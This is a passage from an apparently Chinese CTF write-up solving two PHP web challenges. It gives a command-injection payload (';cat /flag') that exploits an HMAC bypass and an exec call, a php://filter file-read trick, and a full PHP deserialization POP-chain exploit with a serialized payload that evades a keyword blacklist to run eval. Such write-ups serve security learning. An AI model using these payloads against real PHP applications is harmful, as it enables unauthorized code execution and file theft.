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<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;Huluxiaojinggang&#x27;</span>]) || <span class="keyword">empty</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;Shejing&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;1&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$secret</span> = <span class="title function_ invoke__">getenv</span>(<span class="string">&quot;secret&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;yeye&#x27;</span>]))</span><br><span class="line">    <span class="variable">$secret</span> = <span class="title function_ invoke__">hash_hmac</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$_POST</span>[<span class="string">&#x27;yeye&#x27;</span>], <span class="variable">$secret</span>);</span><br><span class="line"><span class="variable">$qwer</span> = <span class="title function_ invoke__">hash_hmac</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$_POST</span>[<span class="string">&#x27;Shejing&#x27;</span>], <span class="variable">$secret</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$qwer</span> . <span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$qwer</span> !== <span class="variable">$_POST</span>[<span class="string">&#x27;Huluxiaojinggang&#x27;</span>]) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;2&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">exec</span>(<span class="string">&quot;nc&quot;</span> . <span class="variable">$_POST</span>[<span class="string">&#x27;Shejing&#x27;</span>]);</span><br></pre></td></tr></table></figure>

<p>利用数组报错使得secret=null然后就可以利用函数获得$qwer里面的内容。</p>
<p>所以最终payload：</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yeye[]=1&amp;Huluxiaojinggang=c7e4698914f5d06bf59a9b3b081046f261170deb991ca94e9c2ddfafe928560a&amp;Shejing=;cat /flag</span><br></pre></td></tr></table></figure>





<h2 id="php-levels"><a href="#php-levels" class="headerlink" title="php-levels"></a>php-levels</h2><p>首先采用php伪协议读取了hint.php文件里面内容</p>
<p><img src= "" data-lazy-src="https://gitee.com/fpointzero/image-repo/raw/master/img/1668932265719.png" alt="1668932265719"></p>
<p>事实上这个能出来纯属巧合，原本能绕过的payload应当是</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php:<span class="comment">//filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/hint.php</span></span><br></pre></td></tr></table></figure>

<p>然后进行base64解码得到了源码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">mouse</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$rice</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__isset</span>(<span class="params"><span class="variable">$n</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;rice-&gt;<span class="title function_ invoke__">nothing</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">dog</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$b</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$c</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;a = <span class="string">&#x27;chance?&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;b = <span class="variable language_">$this</span>-&gt;c;</span><br><span class="line">        <span class="keyword">die</span>(<span class="variable language_">$this</span>-&gt;a);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ct</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$fish</span>;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable language_">$this</span>-&gt;fish-&gt;d))</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;you wrong&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">get</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$cmd</span>;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$name</span>,<span class="variable">$no</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">eval</span>(<span class="variable language_">$this</span>-&gt;cmd);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$pop</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;pop&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i&#x27;</span>,<span class="variable">$pop</span>))&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;you will get flag&quot;</span>.<span class="string">&#x27;&lt;/br&gt;&#x27;</span>;</span><br><span class="line">    <span class="title function_ invoke__">unserialize</span>(<span class="variable">$pop</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Try again!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>是一个php链条</p>
<p>从dog-&gt;ct-&gt;mouse-&gt;get</p>
<p>构造payload绕过正则</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">mouse</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$rice</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;rice = <span class="keyword">new</span> get;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">dog</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$b</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$c</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;a = <span class="string">&#x27;chance?&#x27;</span>;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;b = &amp;<span class="variable language_">$this</span>-&gt;a;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;c = <span class="keyword">new</span> ct;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ct</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$fish</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;fish = <span class="keyword">new</span> mouse;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">get</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$cmd</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;cmd = <span class="string">&#x27;print(`c\at /realflag/you_want_flag.php`);&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$b</span> = <span class="keyword">new</span> dog;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$b</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// O:3:&quot;dog&quot;:3:&#123;s:1:&quot;a&quot;;s:7:&quot;chance?&quot;;s:1:&quot;b&quot;;R:2;s:1:&quot;c&quot;;O:2:&quot;ct&quot;:1:&#123;s:4:&quot;fish&quot;;O:5:&quot;mouse&quot;:1:&#123;s:4:&quot;rice&quot;;O:3:&quot;get&quot;:1:&#123;s:3:&quot;cmd&quot;;s:42:&quot;print(`c\at /realflag/you_want_flag.php`);&quot;;&#125;&#125;&#125;&#125;</span></span><br></pre></td></tr></table></figure>

<p><img src= "" data-lazy-src="https://gitee.com/fpointzero/image-repo/raw/master/img/1668932556210.png" alt="1668932556210"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;c91d38f0-86ea-4f36-b4d8-5e6a716ea8fe&#125;</span><br></pre></td></tr></table></figure>

<p>另外一种构造是</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">$this</span>-&gt;cmd = <span class="string">&#x27;?&gt;&lt;?=`nl</span></span><br><span class="line"><span class="string">/realflag/you_want_flag.php`;&#x27;</span>;</span><br></pre></td></tr></table></figure>

<p>用这?&gt;&lt;?替代了echo的作用</p>
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